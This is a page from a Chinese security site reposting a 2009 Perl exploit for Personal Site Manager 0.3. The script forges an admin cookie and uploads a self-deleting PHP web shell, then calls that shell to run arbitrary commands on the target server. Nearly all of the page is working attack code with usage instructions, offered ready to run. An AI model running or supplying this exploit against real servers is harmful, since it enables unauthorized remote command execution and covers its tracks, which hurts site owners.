首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Personal Site Manager <= 0.3 Remote Command Execution Exploit
来源:vfocus.net 作者:vfocus 发布时间:2009-02-02  
# --+++===========================================================================+++--
# --+++====== Personal Site Manager <= 0.3 Remote Command Execution Exploit ======+++--
# --+++===========================================================================+++--

#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
use IO::Socket;

my $hostname = shift;
my $path = shift;
my $cmd = join " ", @ARGV;

usage () if (!$path);

open SHELL, ">shell.php";

# shell.php will be delete, it won't leave any trace about exploit's run
print SHELL "<? system (\$_GET ['cmd']); unlink ('shell.php'); ?>";
close SHELL;

my $url = "http://${hostname}${path}/psm/upload_file.php?submit=banane";
my $lwp = LWP::UserAgent->new;

# This CMS is also vulnerable to Insicure Cookie Handling
$lwp->default_header('Cookie' => "PSMADMIN=true");

my $req = $lwp->request (
              POST $url,
              Content_Type => 'multipart/form-data',
               Content      => [upload => ["shell.php"]],
             );
unlink ("shell.php");

if ($req->is_success)
{
    my $sock = new IO::Socket::INET (
        PeerHost => $hostname,
        PeerPort => 80,
        Proto    => "tcp",
    );
    print "\n[+] Running ${cmd}...\n\n";
    $cmd =~ s/ /%20/g;
    print $sock "GET ${path}/psm/datastore/files/shell.php?cmd=${cmd}\r\n\r\n";
    
    print $_ while (<$sock>);

    close ($sock);
    print "\n";
}
else
{
    print "[-] Unable to end execution.\n";
}

sub usage
{
    die "\n[+] Personal Site Manager <= 0.3 Remote Command Execution Exploit".
        "\n[+] Author  : darkjoker".
        "\n[+] Site    : http://darkjoker.net23.net".
        "\n[+] Download: http://garr.dl.sourceforge.net/sourceforge/psm/psm_0_3.zip".
        "\n[+] Usage   : perl ${0} <hostname> <path> <cmd>".
        "\n[+] Ex.     : perl ${0} localhost /PSM ls -l".
        "\n\n";
}

# [2009-01-29]

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Thomson mp3PRO Player/Encoder
·Amaya Web Editor <= 11.0 Remot
·Google Chrome 1.0.154.43 Click
·Star Articles 6.0 (add/edit/de
·Amaya Web Editor XML and HTML
·Star Articles 6.0 (admin.manag
·SmartSiteCMS 1.0 (articles.php
·Coppermine Photo Gallery 1.4.1
·Social Engine (category_id) SQ
·WOW - Web On Windows ActiveX C
·Max.Blog <= 1.0.6 (offline_aut
·GLPI v 0.71.3 Multiple Remote
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved